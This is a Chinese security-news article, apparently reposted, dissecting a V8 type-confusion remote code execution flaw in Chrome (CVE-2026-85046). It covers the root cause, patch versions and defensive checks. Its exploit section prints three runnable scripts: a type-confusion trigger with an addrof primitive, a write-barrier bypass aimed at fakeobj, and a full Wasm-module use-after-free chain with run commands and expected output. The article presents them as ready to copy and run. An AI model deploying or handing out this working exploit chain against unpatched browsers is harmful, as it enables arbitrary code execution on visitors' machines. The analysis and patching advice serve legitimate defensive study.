谷歌浏览器再现高危远程代码执行漏洞:访问一个网页,代码就在你浏览器里跑起来了(含exp)

admin 2026-09-14 04:59:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深度剖析Chrome高危RCE漏洞CVE-2026-85046,该漏洞为V8引擎类型混淆(CWE-843),CVSS评分8.8,已存在在野利用。文章详细分析了根因在于内联sort的map检查语义缺陷,并展示了通过fill(0)触发类型混淆、利用addrof原语及绕过写屏障的完整利用链。建议用户立即更新Chrome至152.0.7977.82及以上版本以修复漏洞。 综合评分: 92 文章分类: 漏洞分析,红队,渗透测试,漏洞预警,安全工具


谷歌浏览器再现高危远程代码执行漏洞:访问一个网页,代码就在你浏览器里跑起来了(含exp)

网络安全透视镜 网络安全透视镜

网络安全透视镜

2026年9月9日 21:51 中国香港

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

BRIEF · 漏洞速览

Chrome 远程代码执行漏洞(CVE-2026-85046)

漏洞类型

远程代码执行(RCE)· V8 类型混淆(CWE-843)

威胁概述

远程攻击者可诱导用户访问特制 HTML 页面触发漏洞,并在 Chrome 沙箱内执行任意代码。Google 已确认该漏洞存在在野利用。

影响版本

Chrome 桌面版 152.0.7977.82 之前的所有版本

修复版本

Windows / macOS 152.0.7977.82 · .83;Linux / Android 152.0.7977.82

漏洞等级

高危(CVSS 3.1 评分 8.8)

2026 年 9 月 3 日,Chrome 稳定版桌面渠道推送 152.0.7977.82/.83 ,一次性落地 12 项安全修复。在这份清单里,官方单独加了一句:「Google is aware that an exploit for CVE-2026-85046 exists in the wild」—— 存在在野利用 。

这是 Google 在 2026 年修补的第六个已被在野利用的 Chrome 零日。CVSS 3.1 评分 8.8(High) ,CWE 编号 843,类型混淆。

官方对技术细节的封锁是常规操作——在多数用户完成更新之前,Chromium issue 542403045 保持受限。但 报告 write-up 在 8 月底已经公开 ,随后社区里也陆续出现了可运行的 PoC。这篇文章基于这些公开材料,把这条链从头到尾拆一遍。

本文看点

01

缺陷出在哪一行:内联 sort 的 map 检查语义

02

fill(0) 为什么能把元素类型往回推

03

从泄漏地址到伪造对象,跨过写屏障那一步

01

OVERVIEW

概览:不新鲜的 Bug 类,不便宜的后果

类型混淆是 V8 最高产的漏洞猎场。V8 用 map(隐藏类) 记录每个对象的内存布局,优化编译器据此把 JS 编译成针对性的机器码。 PACKED_SMI_ELEMENTS 承诺数组里只装小整数, PACKED_ELEMENTS 表示装的是带标签的对象指针。一旦编译器对 map 的判断与实际不符,读的一侧会把对象指针当成裸整数,写的一侧会把伪造的整数当成对象指针。 读写两个原语凑齐,基本等于拿到了进程内的内存控制权。

CVE-2026-85046 属于这一类,但它的入口相当日常—— Array.prototype.sort 。

「allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page」

官方公告这句原话拆开看有两层意思。第一层是触达成本: 一个 crafted HTML page 就够了 ,不需要下载、不需要插件、不需要任何确认弹窗,渲染器在渲染页面的过程中就执行了攻击者准备好的 JavaScript。第二层是边界:arbitrary code 发生在 sandbox 之内。渲染器沙箱的设计目标正是兜住这类内存破坏,从这个点到真正控制终端,通常还要 再接一个沙箱逃逸漏洞 。

Serotav 在自己的 write-up 里也正是这么做的:把这个 V8 类型混淆与一个 n-day 沙箱逃逸串起来,最终攻破了 v8CTF。

值得单独说一句的是,这个缺陷在 Maglev 和 TurboFan 两级优化编译器里同时存在 。Maglev 是 V8 的中层优化编译器,TurboFan 是顶层。同类的推断错误同时出现在两级,意味着触发面不是单点——页面的热点代码无论走哪条编译路径,都可能踩进同一类错配。

02

ROOT CAUSE

根因:内联 sort 少做的那一步检查

内联排序是怎么一回事

缺陷位于 src/maglev/maglev-graph-builder.cc 的 TryReduceArrayPrototypeSort 。Maglev 生成控制流图时,会尝试把某些 builtin 调用替换成特化版本。TimSort 在每次调用 comparefn 时都要做一次 builtin → JS 的切换,开销不小;如果数组够小、条件够确定,Maglev 就会把整个排序 内联成一段插入排序 ,省掉这些切换。

…cpp

checkReceiverMaps();

temp = copy(receiver.elements);

insertionSort(temp, comparefn);

checkReceiverMapsAndLength();

copy(temp, receiver.elements);

注意 temp 这个临时数组。排序不在原地进行,而是在 receiver 元素的一份 FixedArray 快照上做。原因是 JS 里任何函数都可能有副作用——包括你传给 sort 的那个 comparator,它完全可能去修改正在被排序的数组。ECMA-262 23.1.3.30 里把这个快照称作 items, comparator 对 receiver 的副作用不影响排序结果 。排序完成后,再把 temp 拷回原数组。

函数开头的注释列了几条前置条件: CanSpeculateCall() 为真;receiver 的 map 是已知的 PACKED_SMI 或 PACKED(holey 数组被排除,因为空洞需要特殊处理,插入排序没实现;PACKED_DOUBLE 也被排除,为了让 deopt 续延保持简单);必须提供 comparefn 且它有 bytecode;数组长度不超过 kMaxInlineSortSize ,这个值是 16 ,超过就走普通 sort builtin。

检查写错了语义

…cpp

// Guard: comparefn side effects may have changed the receiver’s map or

// length. Check once here before the copy-back (the sort loop only

// touches the temp array, so in-loop checks are unnecessary).

if (receiver_maps_were_unstable) {

  RETURN_IF_ABORT(AddNewNode(

    {receiver}, receiver_maps_before_loop,

    CheckType::kOmitHeapObjectCheck));

}

注释说得没错:comparator 的副作用可能改掉 receiver 的 map 或长度,所以拷回之前要检查一次。问题出在检查本身。

CheckMaps 验证的是 receiver 当前的 map 是否属于 receiver_maps_before_loop 这个集合中的任意一个,而 不是验证 map 是否保持未变 。这两者的差别,在混合元素类型反馈下会被放大成大问题。

混合元素类型反馈

…javascript

function confuse(arr){

  function compare(){

    return 0

  }

  arr.sort(compare);

}

for (let i = 0; i < 1000; i++){

  confuse([6,9,4,2,0])

  confuse([{},{},{}])

}

同一个调用点既喂过 Smi 数组,也喂过对象数组。Maglev 收集到的 possible_maps 同时包含 PACKED_SMI_ELEMENTS 和 PACKED_ELEMENTS,而这两种布局的 backing store 都是装 tagged 值的 FixedArray,所以 Maglev 允许它们共存。

于是连锁反应成立了:内联优化只支持这两种 map,而这两种 map 又 都在合法集合里 ,那么在它们之间来回切换,检查一律放行。

03

TRIGGER

触发:fill(0) 把 map 往回推

元素类型通常只能往前走

从 PACKED_SMI 变到 PACKED_ELEMENTS 没什么利用价值,真正想要的是反方向—— 把装对象指针的数组降级成 Smi 数组 。但 V8 里数组的 map 一般只从特化走向泛化。

a = [1,2,{}] 之后把第三个元素改成 a[2] = 3 ,不会让数组从 PACKED_ELEMENTS 退回 PACKED_SMI_ELEMENTS。重新赋值 a = [1,2,3] 换掉的是 a 这个引用本身, sort 所作用的那个 receiver 并没有变 。

所以需要一个能原地替换 map 的操作。候选是 Array.prototype.fill 。

fill 的全量替换分支

src/builtins/builtins-array.cc 里, is_replacing_all_elements 分支有一条注释写得很直白:

…cpp

// For the case where we are replacing all elements, we can migrate the

// map backwards in the elements kind chain and ignore the current

// contents of the elements array.

当 fill 替换掉所有元素时,旧值一个都不会留下,V8 可以为新值重新挑一个最优的元素类型。而对 Smi 和 object 两种元素来说,backing store 都是装 tagged 槽位的 FixedArray,连重新分配都不需要, 直接换 map :

…cpp

JSObject::SetMapAndElements(isolate, array, new_map, elements);

这就是那把钥匙。

完整的状态变化

把 fill(0) 塞进 comparator,四次状态变化是这样的:

…state

Before comparator:

  receiver.map = PACKED_ELEMENTS

  temp     = [object pointers]

Inside comparator:

  receiver.fill(0)

  receiver.map = PACKED_SMI_ELEMENTS

  receiver   = [0, 0]

After copy back from temp:

  receiver.map = PACKED_SMI_ELEMENTS

  receiver   = [object pointers]

排序前 receiver 是对象数组,temp 里是对象指针;comparator 执行 fill(0) 把 map 推成 PACKED_SMI_ELEMENTS,内容变成 [0, 0] ;检查因为 PACKED_SMI_ELEMENTS 在合法集合里而通过;temp 里的对象指针被原样拷回。最终结果是一个 贴着 PACKED_SMI_ELEMENTS map、实际装着对象指针的数组 。类型混淆达成。

…javascript

function confuse(arr){

  function compare(){

    arr.fill(0);

    return 0

  }

  arr.sort(compare);

}

for (let i = 0; i < 1000; i++){

  confuse([6,9,4,2,0])

  confuse([{},{},{}])

}

let bad = [{},{}]

confuse(bad);

console.log(bad)  // 8901784,8901802

console.log(bad[0]) // [object Object]

打印整个数组时泄漏的是堆偏移,按下标访问时拿到的还是正常对象。原因就是: 依赖 map 的那些 API 按 Smi 语义解释元素 ,而普通的元素访问返回的仍是 tagged 值。

04

EXPLOITATION

利用:addrof 与跳过写屏障的 fakeobj

addrof:一枪就有

上面那个差异直接就是一个 addrof 原语:

…javascript

function addrof(target) {

  let sacrificial = [target,target];

  confuse(sacrificial);

  return (Number(String(sacrificial).split(‘,’)[0]) << 1) | 1

}

把目标对象放进一个长度为 2 的数组,触发混淆,用 String() 按 Smi 语义取出第一个元素的值, 左移一位再置最低位 ,还原出带标签的堆对象指针。

fakeobj 卡在哪

有 V8 利用经验的人会习惯性地做反向操作来拿 fakeobj。但这条路在这里走不通:往混淆数组里写数字,写进去仍然是一个 Smi, 改不掉指针的最低位 ;反过来混淆(Smi 数组当成对象数组)拿到的也只是一堆合法 Smi。作者在 write-up 里说得很坦白——他没能摸到那个 LSB。

让 V8 跳过写屏障

作者找到的办法是让 V8 跳过 write barrier 。

写屏障是分代 GC 用来记录跨代引用的机制:老生代对象如果指向新生代对象,这次写入必须被记录下来,否则 minor GC 会漏掉这条引用。而 所有依赖混淆后 map 的操作都会按「这是一个 Smi 数组」来执行 ——把 tagged 指针当成 Smi 移动时,不会发射写屏障。

最容易构造的移动是 Array.prototype.unshift :在数组头部插入元素,其余元素整体后移,只要容量够就不会重新分配 backing store。

…javascript

function trash() {for (let i = 0; i < 36; ++i) new Array(0x1000).fill(1.1);}

let bad = [{},{},69];

bad.pop(); // [{},{}, ]

trash(); // promote bad to Old Space

trash();

bad[1] = {x:420}; // old -> young

confuse(bad)

bad.unshift(0); // [0, {}, {x:420} <- skipped write barrier]

拆开看:先用 pop 腾出一个空槽;两次 trash() 把 bad 提升到老生代; bad[1] = {x:420} 造出一条 old → young 的引用;confuse 触发混淆;最后 unshift(0) 让元素整体后移——移动 {x:420} 这个指针时,V8 因为 map 是 SMI 而 没有发射写屏障 。

到这一步,堆上的任意读写就只剩收尾工作: 触发一次 minor GC,用一个伪造的数组回收掉那个被 GC 忽略的槽位 。作者在另一篇 write-up 里用的是同一套手法。

另一条更直观的演示

除了 Serotav 的原始 PoC,社区里还出现了一个把利用链收得更短的演示,目标是 Chrome 152.0.7977.75( –js-flags=–expose-gc )。它不再绕道伪造数组,而是直接利用 Wasm 模块对象:

1

用 sort() 把 Wasm 模块对象的指针当整数泄漏出来

2

把这个指针存到 GC 不追踪的位置

3

GC 回收原来的模块包装对象

4

攻击者构造的新模块对象占用同一个地址

5

通过那个已经失效的旧引用调用,执行的是攻击者的模块

这个演示的输出是 PWNED 2026 、 identity:true 、 marker:8738 。它把「泄漏地址 → 释放 → 占位 → 通过悬垂引用执行」这条链条完整跑通了,也说明 同一个类型混淆原语不止一种变现方式 。

05

EXPLOIT

Exploit:两份可直接运行的代码

前面按步骤拆的是原理,这一节给能直接复制运行的代码。三段均取自公开材料,仅用于授权的自建测试环境与防御验证。

脚本一:触发混淆 + addrof

把训练、触发、地址泄漏合成一个文件:

…js

// stage1.js —— CVE-2026-85046 类型混淆原语

// 环境:受影响的 V8 / Chrome(例如 152.0.7977.75)

// 运行:d8 –expose-gc stage1.js

function confuse(arr){

  function compare(){

    arr.fill(0);

    return 0

  }

  arr.sort(compare);

}

// 训练:同一个调用点既喂 Smi 数组,也喂对象数组

// 让 Maglev 在同一处收集到 PACKED_SMI_ELEMENTS + PACKED_ELEMENTS 两份 map

for (let i = 0; i < 1000; i++){

  confuse([6,9,4,2,0])

  confuse([{},{},{}])

}

// addrof:混淆后的数组按 Smi 语义打印,堆偏移直接泄漏出来

function addrof(target) {

 let sacrificial = [target,target];

 confuse(sacrificial);

 return (Number(String(sacrificial).split(‘,’)[0]) << 1) | 1

}

// —— 验证 ——

let bad = [{},{}]

confuse(bad);

console.log(bad) // 8901784,8901802 对象指针被当 Smi 打印

console.log(bad[0]) // [object Object] 普通访问返回 tagged 值

console.log(addrof({a:1}).toString(16)) // 泄漏一个对象地址

跑通的标志就是 console.log(bad) 打印出两个整数而不是两个对象——这说明 map 已经被推成 PACKED_SMI_ELEMENTS,而槽位里躺的仍是对象指针。混淆成立。

脚本二:fakeobj —— 让 V8 跳过写屏障

接在脚本一的 confuse() 后面:

…js

// stage2.js —— 构造 fakeobj:跳过 write barrier

function trash() {for (let i = 0; i < 36; ++i) new Array(0x1000).fill(1.1);}

let bad = [{},{},69];

bad.pop(); // [{},{}, ] 先腾出一个空槽

trash(); // 把 bad 提升到 Old Space

trash();

bad[1] = {x:420}; // 造出一条 old -> young 的引用

confuse(bad)

bad.unshift(0); // [0, {}, {x:420} <- 这个指针被移动时没发射写屏障]

gc({type:”minor”}); // 触发 minor GC:这条引用没被记录,槽位可被回收

unshift(0) 之后,{x:420} 这个指针被当成 Smi 整体后移,V8 没有为它记录跨代引用。接下来触发一次 minor GC,用一个伪造的数组回收掉那个被 GC 忽略的槽位,堆上的任意读写就到手了。

脚本三:完整利用链

这段是社区那套可直接跑通的利用,把「泄漏地址 → 释放 → 占位 → 通过悬垂引用执行」四个环节一次做完。它不再绕道伪造数组,而是直接拿 Wasm 模块对象开刀:

…js

// poc.js —— CVE-2026-85046 完整利用链

// 环境:受影响的 Chrome(152.0.7977.75),带 –js-flags=–expose-gc

function confuse(a) {

 function compare() { a.fill(0); return -1; }

 a.sort(compare);

}

function copySmi(dst, src) { dst[100] = src[1]; }

function untag(src) { return src[1] – 0.25; }

for (let i = 0; i < 1000; ++i) {

 confuse([1, 2]);

 confuse([{}, {}]);

 copySmi(new Array(256).fill(0), [1, 2]);

 untag([1, 2]);

}

// 原始模块:没有 import,main 返回 0x1111

const originalBytes = new Uint8Array([

 0,97,115,109,1,0,0,0,1,5,1,96,0,1,127,3,2,1,0,

 7,8,1,4,109,97,105,110,0,0,10,7,1,5,0,65,145,34,11

]);

// 替换模块:import env.print,main 调它并返回 0x2222

const replacementBytes = new Uint8Array([

 0,97,115,109,1,0,0,0,1,8,2,96,0,0,96,0,1,127,

 2,13,1,3,101,110,118,5,112,114,105,110,116,0,0,

 3,2,1,1,7,8,1,4,109,97,105,110,0,1,

 10,10,1,8,0,16,0,65,162,196,0,11

]);

const originalTemplate = new WebAssembly.Module(originalBytes);

const replacementTemplate = new WebAssembly.Module(replacementBytes);

const originalImports = WebAssembly.Module.imports(originalTemplate).length;

const originalMarker = new WebAssembly.Instance(originalTemplate).exports.main();

const holder = new Array(256).fill(0);

const replacements = new Array(50000).fill(0);

const transitionObject = {};

let weak;

let staleAddress;

function addressFromSource(src) {

 const smi = Math.round(untag(src) + 0.25);

 return ((smi * 2) | 1) >>> 0;

}

setTimeout(() => {

 gc({type:”major”});

 (function install() {

  const padding = Array.from({length:1166}, (_, i) => ({x:i}));

  const alignment = new Array(0).fill(1.1);

  const module = structuredClone(originalTemplate);

  const src = [module, {}];

  if (padding[1165].x !== 1165 || alignment.length !== 0) throw 0;

  weak = new WeakRef(module);

  confuse(src);

  staleAddress = addressFromSource(src);

  copySmi(holder, src);

 })();

 setTimeout(() => {

  gc({type:”minor”});

  setTimeout(() => {

   // WeakRef 证明原来的包装对象已经不被 GC 认为是活的

   const originalCollected = weak.deref() === undefined;

   let hit = -1;

   let replacementAddress = null;

   let rounds = 0;

   if (originalCollected) {

    for (rounds = 1; rounds <= 4 && hit < 0; ++rounds) {

     for (let i = 0; i < 16; ++i) {

      replacements[i] = structuredClone(replacementTemplate);

     }

     gc({type:”minor”});

     for (let i = 0; i < 16; ++i) {

      const src = [replacements[i], {}];

      confuse(src);

      const address = addressFromSource(src);

      // 要求替换模块正好落在那个已经失效的地址上

      if (address === staleAddress) {

       hit = i;

       replacementAddress = address;

       break;

      }

     }

    }

   }

   let identity = false;

   let callbackCount = 0;

   let marker = null;

   if (hit >= 0) {

    holder[0] = transitionObject;

    identity = holder[100] === replacements[hit];

    // 通过失效的旧指针实例化;只有替换模块会 print

    marker = new WebAssembly.Instance(holder[100], {

     env:{print() {

      ++callbackCount;

      if (typeof document === “undefined”) globalThis.print(“PWNED 2026”);

      else console.log(“PWNED 2026”);

     }}

    }).exports.main();

   }

   const result = JSON.stringify({

    originalImports,

    originalMarker,

    originalCollected,

    staleAddress,

    replacementAddress,

    hit,

    identity,

    callbackCount,

    marker

   });

   console.log(result);

   if (typeof document !== “undefined”) document.body.textContent = result;

  }, 0);

 }, 0);

}, 0);

四个环节落在代码里的位置:install() 用 structuredClone 拿到一个原始模块的副本,混淆后把它的地址读进 staleAddress,同时用 copySmi 把同一个指针塞进 holder[100];WeakRef 加一次 minor GC 让原包装对象被回收;随后批量克隆替换模块,逐个比对地址,直到有一个正好落在 staleAddress 上;最后通过 holder[100] 这个已经悬垂的旧引用去实例化——执行的是攻击者的模块。

怎么跑,输出怎么读

…bash

方式一:d8(V8 官方 shell,自行编译受影响版本)

./d8 –expose-gc poc.js

方式二:Chrome(受影响版本,暴露 gc 后控制台运行,或包成 poc.html 打开)

chrome –js-flags=–expose-gc

跑通后打印一行 JSON,每个字段的含义:

| 字段 | 期望值 | 说明 | | — | — | — | | originalImports | 0 | 原始模块没有 import | | originalMarker | 4369 | 原始模块 main() 返回 0x1111 | | originalCollected | true | WeakRef 证明原包装对象已被回收 | | staleAddress | 与下一行相等 | 泄漏到的原模块地址 | | replacementAddress | 与上一行相等 | 占位成功,落回同一地址 | | hit | >= 0 | 命中在第几轮 | | identity | true | 旧引用与替换模块是同一个对象 | | callbackCount | 1 | env.print 被调用了一次 | | marker | 8738 | 替换模块 main() 返回 0x2222 |

identity:true 与 marker:8738 一起出现,就说明执行流确实走到了攻击者的 Wasm 模块里,而不是原来的那个。

有一点要说清楚:这段代码跑在渲染进程内,它证明的是「沙箱内任意代码执行」这个原语已经到手。要到完整控制终端,还需要再接一个沙箱逃逸——Serotav 在 v8CTF 里就是这么做的。

06

TIMELINE

时间线:从报告到补丁的三十天

把可核实的日期摊开:

2026-08-04 报告

Serotav 向 Google 报送该缺陷。

2026-08 下旬 公开

报告人的 write-up 公开,原理与 PoC 进入公共视野。

2026-09-03 补丁

Chrome 稳定版 152.0.7977.82/.83 发布修复,官方确认存在在野利用。

2026-09-04 KEV

CISA 收入 KEV 目录,联邦机构修复截止 9 月 18 日。

从报告到补丁, 三十天 。而「在野利用」这四个字意味着,真实攻击者拿到可用利用方式的时间点一定早于 9 月 3 日。也就是说,在这三十天里的相当一部分时间里,这个洞对持有者而言 等效于零日 :没有补丁,没有公开检测规则,用户无从防御。

这里有个容易被忽略的结构性变化。过去一个 V8 缺陷从披露到可靠武器化通常以月计,防御方还有从容部署的窗口。现在,从已报告的缺陷、已合入的补丁 diff 出发,自动化工具链把触发构造、堆布局调试、地址解析这些最耗时的工程环节压缩到小时级。补丁从报告到发布仍然要三十天。两个数字之间的剪刀差,才是这轮周期里真正新增的风险。

07

PATCH & AUDIT

修复与自查

官方的修复非常直接。修复提交 e0562d87 做的事情,用作者的话说就是: 不在 mixed elements kinds 下内联 Array.prototype.sort 。

既然问题的根源是「混合元素类型反馈 + 只检查集合归属」这个组合,那就在反馈混合时干脆不做这个优化。 从源头掐掉 ,比在检查里补一个「是否变化」的判断更彻底——后者还要处理 deopt 续延、快照传递等一系列边界情况。

引入该优化的提交是 66a3f1e9 ,包含它而不包含修复提交的版本都受影响。

| 产品 | 修复版本 | | — | — | | Chrome(Windows / macOS) | 152.0.7977.82 / .83 | | Chrome(Linux / Android) | 152.0.7977.82 | | Edge / Brave / Opera / Vivaldi | 跟随各自厂商的 Chromium 152 合并版本 | | Electron 应用 | 取决于打包的 Chromium 快照与重新发版时间 |

四件事值得立刻做:

完全退出并重启浏览器

Chrome 会在后台下载更新,但要到重启才真正生效。一个「已经自动更新」的环境,如果没人关过浏览器,可能还跑着有问题的二进制好几天。

别只数 Chrome

Chromium 是开源的,Edge、Brave、Opera、Vivaldi 都继承同一个 V8,需要走各自的更新渠道。装了 Chrome 不代表它们安全。

重点查 Electron 应用

Slack、Discord 桌面端、各类内部工具,只要它渲染远程内容,用户的实际版本取决于这个应用最后一次重新构建的时间。去翻 package.json。

逐台核验实际运行版本

不要依赖管理控制台上报的「已安装」。kiosk、虚拟桌面、构建机、跳板机这些很少重启的机器值得单独排一个队列。

补丁下载完成不等于生效。真正决定你是否有风险的是「当前正在运行的那个二进制」,而不是「已经装上的那个包」。

THE END

结语

CVE-2026-85046 本身是一次相当经典的编译器推断失误:优化想省掉几次 builtin 切换的开销,代价是 少问了一个问题 。类型混淆在 V8 里从来不是新鲜的 bug 类,新鲜的永远是它出现的速度,以及从原理到可用利用之间那段距离正在被压缩得多快。

对防御侧来说,这次能做的事很朴素:把「已知缺陷未修复」的窗口期 当作高危状态来管理 ,逐台核验实际版本,别把自动更新当成已经完成。

漏洞在报告那一刻就开始泄漏风险,而不是在补丁发布那一刻。

本文基于 Serotav 公开 write-up、GitHub 公开 PoC 仓库及 Google / CISA 官方公告整理,仅用于安全研究与防御参考。

END


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全透视镜 网络安全透视镜 网络安全透视镜《谷歌浏览器再现高危远程代码执行漏洞:访问一个网页,代码就在你浏览器里跑起来了(含exp)》

评论:0   参与:  0